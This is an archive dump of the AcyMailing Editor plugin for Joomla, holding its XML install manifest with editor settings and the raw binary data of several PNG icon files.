<!DOCTYPE install SYSTEM "http://dev.joomla.org/xml/1.5/plugin-install.dtd">
<install type="plugin" version="1.5" method="upgrade" group="editors">
	<name>AcyMailing Editor</name>
	<creationDate>March 2018</creationDate>
	<version>5.9.6</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2018 ACYBA SAS - All rights reserved.</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This editor will make your life easier when writing Newsletters with AcyMailing</description>
	<files>
		<filename plugin="acyeditor">acyeditor.php</filename>
		<folder>acyeditor</folder>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="pasteType" type="radio" default="plain" label="Copy/paste type" description="Choose the way you want to paste text in your newsletter">
			<option value="plain">Plain text</option>
			<option value="simpleStyle">Simple styles from word</option>
		</param>
		<param name="enterMode" type="radio" default="br" label="Behaviour of the Enter key" description="Choose the separator when pressing the enter key">
			<option value="p">p</option>
			<option value="br">br</option>
			<option value="div">div</option>
		</param>
		<param name="inlineSource" type="radio" default="1" label="Display source button for inline editor" description="Choose to display the source button for the editor inb inline mode">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="pasteType" type="radio" default="plain" label="Copy/paste type" description="Choose the way you want to paste text in your newsletter">
					<option value="plain">Plain text</option>
					<option value="simpleStyle">Simple styles from word</option>
				</field>
				<field name="enterMode" type="radio" default="br" label="Behaviour of the Enter key" description="Choose the separator when pressing the enter key">
					<option value="p">p</option>
					<option value="br">br</option>
					<option value="div">div</option>
				</field>
				<field name="inlineSource" type="radio" default="1" label="Display source button for inline editor" description="Choose to display the source button for the editor inb inline mode">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
			</fieldset>
		</fields>
	</config>
</install>

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/images/arrow2.png000060400000002776152455305300023460 0ustar00�PNG


IHDRL�n�tEXtSoftwareAdobe ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:01576FDDED7B11E49FE4D5385305D429" xmpMM:DocumentID="xmp.did:01576FDEED7B11E49FE4D5385305D429"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:01576FDBED7B11E49FE4D5385305D429" stRef:documentID="xmp.did:01576FDCED7B11E49FE4D5385305D429"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��NrIDATx�b���?�@�\@�@��|@�	��� ���(����=������{�@��Z�A1�`���|�b�_��Ι-���K\QR�E�Š8-B�x�1kqq��ĉ��όb �%�b �	;z�'++S��#�B�������1��=ɍ�@lb,]�Xx��2��a���b���ofn�NNV�����CC�o����)�$g�c�ǏKM�6Eb�֭b@�8�@�r00333��������@__�cNn�355�H漁���Z`���6mY�����-;+++�!��L�/_���T�~�'Zp�����Y���������������YX��؁����G���^���3��j1sCC�����ttt�������+����ebZ��111���Ծ���|aaa�����gϞqJIK}SW�� �JN�y��BB��JI��=k���Ϲ��X|}}�-�'��7opN�6M��~~���(YA�����������162z���{�w�ޡ @_~onny`h`�	��))2Ay�Y��ϟ��V����z/""�]3H/0
��ۆLY��v�����i"9>�g1]�c���x�4�*IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/images/popup_delete_hover.png000060400000002212152455305300026115 0ustar00�PNG


IHDR2=50tEXtSoftwareAdobe ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:25F50BB44AFB11E5872CC6FFBA9ABBBE" xmpMM:DocumentID="xmp.did:25F50BB54AFB11E5872CC6FFBA9ABBBE"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:25F50BB24AFB11E5872CC6FFBA9ABBBE" stRef:documentID="xmp.did:25F50BB34AFB11E5872CC6FFBA9ABBBE"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�J��IDATxڄ�?O1��<"EO�4��q#�¤�&I�nQYHL`�s@�s^��<J~ɧ-�s��3�9�����o���n�����4cL5x�N��,
����2��w�a
=~ƹ���
�(I�ˈ�;HL�ŶvN�~鬾�q�3�1�Q���"3�u���Uկj����~[�m0^/�0l�����᙮�[��B�8����87�7��o��
w��#|b���6��ُM�}�o��IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/images/edit_picture.png000060400000002067152455305300024715 0ustar00�PNG


IHDRVΎWtEXtSoftwareAdobe ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:8284EF62B06911E4B380A37DD123F96D" xmpMM:DocumentID="xmp.did:8284EF63B06911E4B380A37DD123F96D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8284EF60B06911E4B380A37DD123F96D" stRef:documentID="xmp.did:8284EF61B06911E4B380A37DD123F96D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>1+L_�IDATx�b�TLTT3��chhH�����c7]@���aT__�q�̙��i�&0�t�R�ؗ/_RSSnݺE~��IJJb8s�������r��m0��ׯ`>Q.i������97�X]
���|�/^0̘1�AEE���fD�k�$����m1�`��R���u�IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/images/edit_text.png000060400000002221152455305300024216 0ustar00�PNG


IHDR٬tEXtSoftwareAdobe ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:D1024FB3B06811E4A380B4651962F653" xmpMM:DocumentID="xmp.did:D1024FB4B06811E4A380B4651962F653"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D1024FB1B06811E4A380B4651962F653" stRef:documentID="xmp.did:D1024FB2B06811E4A380B4651962F653"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��w�IDATx�b���?选�,@���?>|�E�?!���[[[EEŋ/������'AA���(�8~=���\\\���ohh�K1�
I�����ׯ_���*++O�0�������m=@RJJ
�eff�|!	�#**�����4k�,�U�"Y;;���tgg'�=X�a����ԃ�7HX		����:u���۳gϲ�����x�B������~XXP'~=@u��Ǐ_�|ijj����X4������$���t�o�:���p'IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/images/popup_cancel.png000060400000002156152455305300024704 0ustar00�PNG


IHDR��w&tEXtSoftwareAdobe ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:FE3E210C4AFA11E5BC2FB3422BD422F9" xmpMM:DocumentID="xmp.did:FE3E210D4AFA11E5BC2FB3422BD422F9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FE3E210A4AFA11E5BC2FB3422BD422F9" stRef:documentID="xmp.did:FE3E210B4AFA11E5BC2FB3422BD422F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��;o�IDATx�bL�ߦ������(�Lc@��R�@�$��
�%&�)�S��{X��z ΄��|ҭ@\
�#�]����	�@N��9 6B�O:��je'�$v$E?�x"Pa9�W�pH�!)�T��0!)����Pq�b��ː�pJ��ePy��Ӏt.�i��H���Ŗw�AA���(�h"R�����w�x6P!r�1@����.�2L� �IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/images/param.png000060400000003061152455305300023330 0ustar00�PNG


IHDRo��tEXtSoftwareAdobe ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:EC05C96F254C11E5B6E3BAFE8D3FCFE7" xmpMM:DocumentID="xmp.did:EC05C970254C11E5B6E3BAFE8D3FCFE7"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:EC05C96D254C11E5B6E3BAFE8D3FCFE7" stRef:documentID="xmp.did:EC05C96E254C11E5B6E3BAFE8D3FCFE7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�T��IDATx�bL,jg�`b�|�`�P������?�3"&�Y������t��}�
��407���7'GAJ(�<}���7Y��p�lh���VSp�1V�����fgc����,�N������/_�cff&F@Env�2��@���w��~�� [NF"��h��?����/^{����o?��8.]��?{�w��.k�_���}��������qss�=���)@ƑS��6M�;�c[U�� ?D%�,dס4c��?A��@�@������Z���	Y=�8t��~����Z[s�����x]GC���(���������_̐�k�rR�L�@��89�dl-�U����șw���{��@�cw���J���2��cbb���D�q�O���c]
)	�K�n�K��||��\>}���K�zg,�����=l�
޽����?=-n.�ū�H���>y��-0��[^�}1�Q�6�&��f wfO���P�詋�2-##��� ���\�4����������G.�$q~`�B�@������T��S
4M\T����$l(�����'h¹p���$�ݺ�� �,j�}���u�1���'/U��E"0��r�#g�/!����� � x$R�̆D"A
(^�hi�IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/images/editor_zone_picture.png000060400000002264152455305300026310 0ustar00�PNG


IHDRo��tEXtSoftwareAdobe ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:0167BFF5B06C11E487C6CEC55A836C39" xmpMM:DocumentID="xmp.did:0167BFF6B06C11E487C6CEC55A836C39"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0167BFF3B06C11E487C6CEC55A836C39" stRef:documentID="xmp.did:0167BFF4B06C11E487C6CEC55A836C39"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>ﶖ(IDATx�b�:Ê����J`� €S(+�(Am�}����i3�q��߿�������7###9^����߿����_������g��C5Џ��Ih
3@\�)@��&�3HC�H��C�ll<���E�U�L�2�~���'Q^��?MZ�((p;78��#+���;.�����7MXH�f�
	���"���@<<��Rf���pq0� �.V����bj����2$��,��EET�M^�o�~P�E,,�LL�T0���UP�HR!��.�l "�i��$��5�`!�`v�9�2IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/images/editor_zone_plus.png000060400000002546152455305300025623 0ustar00�PNG


IHDRo��tEXtSoftwareAdobe ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:57DFBA24B06C11E497D38F6FCDAB583E" xmpMM:DocumentID="xmp.did:57DFBA25B06C11E497D38F6FCDAB583E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:57DFBA22B06C11E497D38F6FCDAB583E" stRef:documentID="xmp.did:57DFBA23B06C11E497D38F6FCDAB583E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>u2#��IDATx�bL,jg�`b�5�0`�2�V�	r���q����22���w���{��#֠�P�m��:v�߿����3KAV�� �����%� NN�=O�x�Ȗ�eaa���|�n��-|<,_��������A��caf�K�t�3r�R?~�dgcJ�ܸ���+�f�`�0�G2�bNV�?{�&ke����i�!&ff|Å���ׯ�=��쭻����a����,,,��h
0��������������A@�������t��~���� �_�U䙘�H0��G,�Wo�_�m�����O�R��#g��� "$	oL?��G>����_�y���?VVV[s��O^�)�0���;a������݇ϋVm�Jeň�/_�O���(��I���c�S�w�1�aI�,,��x�%� HH1�/##�E����`�oN..fff*��@�����

L`�kƭ!��IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/images/editor_zone_drag.png000060400000002613152455305300025550 0ustar00�PNG


IHDRo��tEXtSoftwareAdobe ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:6002D97EB11111E49415D2D3980B09AA" xmpMM:DocumentID="xmp.did:6002D97FB11111E49415D2D3980B09AA"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6002D97CB11111E49415D2D3980B09AA" stRef:documentID="xmp.did:6002D97DB11111E49415D2D3980B09AA"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>N���IDATx�bL,jg�`b�|��fea	�u2Vo���2
��
�1��������|�I��uT5T�����_muE-��>����4��ϰ�蹝NvUg��ŭ�?���qss���뵿���)�ЌC�/7���!���߿���o��W~>�Y�߿��x� �@O[W[�����tH#!+�rH�aee��b#r	�ur�2��O_�����'�*)I1 ��+ ��򈄘0�ܼ����	��?���ˌ������Y�er*:႓�J�dnU7\dnͥkw�،Ӡ?���~�XO#�`��߿�h���v���������~;p�<�����o!���Ɏ�f��#ĦlFFFAA I|1Z�`�`f�t�*Έ���t�7�����׀I��{��<baf����?s(HN�����
{����ϟ��7������X��z�p�Bl		�D`�Q� b"��2�"���(0o��Z��:\IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/images/editor_zone_delete.png000060400000002177152455305300026102 0ustar00�PNG


IHDRo��tEXtSoftwareAdobe ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:2DB953D5B06C11E49B42CCAB3AC66869" xmpMM:DocumentID="xmp.did:2DB953D6B06C11E49B42CCAB3AC66869"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2DB953D3B06C11E49B42CCAB3AC66869" stRef:documentID="xmp.did:2DB953D4B06C11E49B42CCAB3AC66869"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��r�IDATx�ܔ�
�0��S�?u��:D��9z��=F=G�^�keɦ�����}�6�����	ў!�1�}�ޜ���n:�-��yktX�5T*%Ճ	
�gY��)M��wm'3P��QZi��B�*�E���3MoRb�����)���FI�Ek��}��ď�(V�(�c3�(1J��(mlR5ؚ�QM��|��a�j\C���{���l�d
�=����b�8�e�k��A����L/�E��U��IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/images/duplicate_after.png000060400000010653152455305300025370 0ustar00�PNG


IHDRY<
2FsRGB���gAMA���a	pHYs���+tEXtSoftwareAdobe ImageReadyq�e<IDATx^�\{p��u��ݕ,ɲ$K�H�����8�i�4P�J���i����NgB��C��0�2M&Ʉ�8�t��35���G�47`lb���¶���+�V����߹�����bY�h�����=����{�V6I�DcccH��0�LX��G�N�]]]p��0E"���~�z8%�B�DQ3�N�:�-[��t���boo/Z[[�"+t�(
axx������	������Bא�+ݵ%�wE����|h��@+ _Z�:�i�޽�m۶��S�X���#812
��¸��
�Hd�/p�M����RN���o߾�9�Lb��玜<n �+�4(����T�h������W�.��l;����,�](��(��
��f���B�R�*<��C圫O�
r,��Gx9���j6�܀�ILf+�\�c�9��`��˙W����N���P�k�ϢH��p�i�\i��\Z�wa��� ̍���Y��Jc��tE.�n���@���F�t�N�|�i�%���W��h�%Q����}��|y���d2C����"�����ũ��j�.5rH-/)ԋ�� L慃���b�o�I�b�_���8#`%_��N�Ž���<�S�_�g��^��3#�G6�Q��f����z��@p��#�۫�
JŚ2"�S��X�U��i��ՐO&�c$�K�հ�զצ�ϋ�]*�R�����q����,�(��l|v�ZW�$ب��[hB���z.-�y�jq��&ѯ&V������M��1�"a���ȴ��L�p�ҳ�*mz^N��L�t�\z��&�T��:
�i�z�˲���zy)��� �Arz�p��&&Ƒ��ʾ�,H4�p	B�|�f@	#�M��7����\��Ȫpybԅ��<�6�vv!h���dg�����6�٬�}3z$-����Y>�r�����=pq�zY���ۛW���O�Wdv�݀5��b_ܔ���Ύ5�aRVo���	�=}h�Գj�����e�v���[�'�E{ ��|�Fyw��)|�=�$.LL�RV�*l�
�\v5�J33R����l����$�gf��[�l"���y�)4�JSc��q�}09]H'3bD`w9�t�9�FV�؎�BP�~���T"��`�sb�n5�3��l�ž��b���)>;K[�U��9l�и��c�j��s)�����[4�4�ľ;89Nr��L����O@s�����eV+��'X0�2��G*���B�|h۝�
R����"��"7~S瀵_��
4��ǿ:�V�S��H�,-�&�H�t�M"�!�tk��Ǔi�ff0�LA�P�iY����D�I9"���D15�����(����BRl>�D6�����f�JY �a���vTg��0��z��R���p�2�&@1/:��'8�q�=�|�n~�x�<�2��/���"C���Q��{s�2!U��Pd�P-�|�=OҠ��s;G&p�a��D�j����iY�z�r"[%G�<e%�(+i��l��i�|�l����z	d��B�؇R��t
�tF�f5��؊����;�9�,R�(Ɔi�#�/�*���ŭd��&�@��dTw��";g�Y��\&t{T��R���(�&Ε(���ˇ�3�q��ذA�J����F�a���O0��G��.�ɣ)�`uz`kg���Z�"���~�Г�g!徘�dh���dsj�3����
������d�ͪ��C������0�ۋ<�[������0Z9ئ�0��‚;���~r+�<�
���
h�K�RU�k]�B���|��f��۪��D��+41�M����S�@��e�ʶJ_���6��8R�m�x���,6�J
��;�h���^�,�I��9�����1��2X&K�N����](���l3�T2v'
MA�-j�ʳ�E�ju��.�s�T���"�Wd�'�\2�m���n���H����(1O������V�P)�����e?�R>�<z�dڳgO��{�Un���F7�f5�/��{,�6k��;���y'��ƹ��[4���r'QK�w�mX�A@x~���Q�㑇Tx��h�xa�x
��?S�+Y/Ǎ�y�uߊ$�1"B%够N��.�<ȩT�dj@���<�g�	���w����a9Im "P2�h<�5�M16>��شQy!:��RG�"?$�V�
�#:"�O�Mcvn��$����+�
d����GR0M@�����f�&DY.�K�Py#i"
h�����:�/s�S���d��cI ����ξH�L�o�Kx~��xN#@�H����Q Wm|"�ks-K���'�q�ٟ��w��!���5R�_�sc�>6�3���x�����(���t��֏!� �_���G�
�DRU�Fu��,�A�^�ȕt��3cc��U�X�C����F"��1<6�<���K�C3聥��-_E��A.����ɨ�U��4�P�=�r�8+#�/�e^�AX�C��+\��e�,�BG�]�����k�1���N��	ײNi:��ִs�kV/B�M)�j�;-����zw�nG79��j�d�/7�VoA:ō�^�Q��Te.�.��z��ާ~�zչ�����5[B��<
�F�*���\t�>�����[�}��cu�d�H�F�C��͘����U�B2���ڊkY_r�=4:�x"�J&C�.���,w�3��6z����|tm7n�ʴ0]~Rk��F힓7*⻑����c��-��'I��e�O�����^�k��'��	ʲ��#��re~���&��Wa��OP�<0��b�#_�F%��؍�b��H��l���3$�৛cgh*=����	�G�aM����<B�L�!!tW�*����A�u�.�Ȋ�\�iI +�l.�W���ў��V唁^��]��A����s��,����ɠA�!A��.ow�v�|����:U@�'h�F�q�'o���ԫt18����6���5�"`�

�Z�ȓB�gZ�3:�熹�̱T},c#U@��ɥ�d̋�=��3���;()�Y}�����eŖզ��k�Jr�2�i��ư����gO<�/|�Q���Cpu�p�/u�x�
|��—��<�ő��ag�U��X��i���b,��\j�����.�5D��S�u:�v��z���fn�n;�~.�ҳO�9�E&e��f�ٹ��N��Bnr�h����\�R_SYNXꓲ�m��aIҼN'l�TñY=qGN��O�2N�=�,�a"�!�:~g����؜:�X
>F��Y��G+Dz�{���~����݅}��##�������j3t~X=�]�@��
-����C3OϠ�ُH$�3��c*���nX݆q���8q�|�p��Ȁgd�"������bhr9195�a�99��au+N�>��]d��־u�4&Y����9�Z�������94y�hk	���d|K�͉�`�ޓs���qz�����R� D'O���)ϡ���#Yz�X_�~��c�����ac�~{�&���v�:��S��m�
s��/��
gv�@��&q��C�C^������G�TЯ
�o��ш*�!�k�ڰ��G8�G9i����.l��&�y��	��f��n݌
���~����#w�v+�9
��G���Â��������`�������{`e��Lk�[�қZ#����56�޽��c�\�xQ���*�5�U�_^���L^��g�8���Jv�@=�@se
ʙsR��I��Е*p ��^Y�41J����F�2�	vٌ��x\����Zy=!�e����Z�G��q�qevpRļI?"4i�~6Y�)����_�<���r�x�V���?�.1�f��	���X�R��'�%����s�A^
�ڕ�i09��I��Y�8�[Rr,'~�)Y��T�K��@E��G�>c?�6�r���i>���.<���m	���o|���Q��y�$mA&&%_P'�_
��u@tP���rҰ<�f���IY�N�U���[f��~���ir5����K�-V3�4ENVv#�+�W�:ɽjK4y���M~?3�H$x�)�Ec8;2
MMk�	�4&�ոT-�5yϞ=%M2������:q�m��g6߂�z{�r@�~H�Qǖ��d��
��PX�ȑ$��W��47G1c�W��RX�R@���+�,[�M`Nܮ����$��e 4M��ܹs0�):t����хZ���B�$Z,��9�g����2��C�FP��n�W��IlrKK����v��ŀ
�w�IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/images/popup_cancel_hover.png000060400000001762152455305300026111 0ustar00�PNG


IHDR��w&tEXtSoftwareAdobe ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:090B06934AFB11E5A67AED1359B9D3AA" xmpMM:DocumentID="xmp.did:090B06944AFB11E5A67AED1359B9D3AA"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:090B06914AFB11E5A67AED1359B9D3AA" stRef:documentID="xmp.did:090B06924AFB11E5A67AED1359B9D3AA"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>n���fIDATx�b����6��Y@̀ς�k�8�#�4��䞃��G-@�	���4�	�hg� yd+;����Pqt� |M�Edy�L&��$�I�Lt�
��ˇ�}IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/images/select.png000060400000001006152455305300023504 0ustar00�PNG


IHDR$$���	pHYs�� cHRMz-�����RqE�f9!�'�V�IDATx��J�@E�K�*Ԥ-���q�_�•��ʅ_Խ+���A	�ibAM���`[�iZȅ�<�̙��Kr����-�h���;�@ "�q��Q�"`$"�c
E�`��(sM�p	��2�'0.�7��Z�Dk}�ͤ�(����$I��T������ֆ��)��1p��x[�H���$���
TsI��Vϭ�qp<�B�Z�?�_}b`��X�Q�
S	T�@%P	Tm;���\���c�@<<>��n�~��9@�*PκOf��
4��C�W迌E}f�Ƙ�ʹRI�~��ݮ�*?�h�H$�]��f��4�.�(Wń
'���
8ZS�p����6ˇN�c"��Na�<4*&�:���ֺ
�Dd�2ć����<�/y�ķPdIEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/images/popup_delete.png000060400000002231152455305300024713 0ustar00�PNG


IHDR2=50tEXtSoftwareAdobe ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:1B686E6A4AFB11E5A199A66C9913D4EE" xmpMM:DocumentID="xmp.did:1B686E6B4AFB11E5A199A66C9913D4EE"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1B686E684AFB11E5A199A66C9913D4EE" stRef:documentID="xmp.did:1B686E694AFB11E5A199A66C9913D4EE"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��Ol
IDATxڄ�?NBA�q�A""J�J"�;`��W �
��P�yc#�X���ĂF-5�W,��w�݄�I>쾙a��8�}l���K
����~��`Zw��i\�U�`|YC�Z�	�q���mj5{�B���p���zm�Oh��#|c�H��؎��@=5���UM�^��g��+��W9U�G����H�e������9�g���3�s#lv�a�@Wg?�S�5V~�y�)^�r��u�c	Mݿ��pro(b�glii��?�?rF0��IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/images/close_icon.png000060400000001114152455305300024342 0ustar00�PNG


